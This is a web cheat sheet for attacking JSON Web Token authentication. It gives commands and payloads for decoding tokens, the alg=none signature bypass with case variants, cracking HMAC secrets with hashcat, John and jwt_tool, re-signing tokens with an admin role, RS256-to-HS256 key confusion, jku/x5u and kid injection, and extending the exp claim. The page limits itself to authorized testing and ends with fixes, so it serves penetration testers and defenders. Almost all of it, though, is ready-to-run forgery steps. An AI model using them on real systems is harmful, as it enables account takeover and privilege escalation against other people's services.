CyberCheatsheets

JWT Attacks Cheat Sheet

JSON Web Token attacks: alg=none, weak secret cracking, key confusion (RS256→HS256), and claim tampering on authorized targets.

Web Application Securityauthenticationjson-web-tokenjwtowaspwebUpdated 2026-06-17

Overview

JWTs are signed tokens (header.payload.signature) used for stateless auth. They're frequently misconfigured: accepting alg=none, signed with a weak HMAC secret, or vulnerable to RS256→HS256 key confusion. The attacker's goal is to forge a token (e.g. change the user/role) that the server still accepts. Decode first, then test each weakness.

Authorized testing only. Forge and test tokens only against systems you own or have explicit written permission to test.

Decode & inspect

Decode the header (check the alg)

echo $JWT | cut -d. -f1 | base64 -d 2>/dev/null

Decode the payload (claims: user, role, exp)

echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq .

jwt_tool: full decode + automated checks

python3 jwt_tool.py $JWT

alg=none bypass

Set alg to none and strip the signature — the server may skip verification

python3 jwt_tool.py $JWT -X a

Forge: base64url(header).base64url(payload). with an empty signature

{"alg":"none","typ":"JWT"}

Case bypasses for naive blocklists

# Try variants: none, None, NONE, nOnE

Crack a weak HMAC secret (HS256)

Crack the signing secret with hashcat

hashcat -m 16500 jwt.txt rockyou.txt

Crack with John

john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

jwt_tool dictionary attack on the secret

python3 jwt_tool.py $JWT -C -d rockyou.txt

Forge with the cracked secret

Tamper a claim and re-sign with the known secret

python3 jwt_tool.py $JWT -T -S hs256 -p 'secret123'

Change role to admin in the payload, then re-sign

{"user":"victim","role":"admin"}

RS256 → HS256 key confusion

If the server's public RSA key is known, sign an HS256 token using that public key as the HMAC secret

python3 jwt_tool.py $JWT -X k -pk public.pem

Grab the public key from JWKS or TLS if not provided

curl -s https://target/.well-known/jwks.json

Other tampering

Point the key URL at your own JWKS (jwt_tool -X i/s)

jku / x5u header injection

Abuse the kid header to load a known/attacker key

kid path traversal / SQLi

Remove or extend the exp claim to keep a token valid

{"exp": 9999999999}

Tips

  • Always decode the payload first — sometimes you can just change a claim if the signature isn't checked.
  • alg=none and weak HMAC secrets are the two most common real-world findings — test both early.
  • For RS256→HS256 confusion you need the public key; check /.well-known/jwks.json.
  • Fix = pin the algorithm server-side, use strong secrets/asymmetric keys, and verify exp — note all three.

References

Aide-mémoires similaires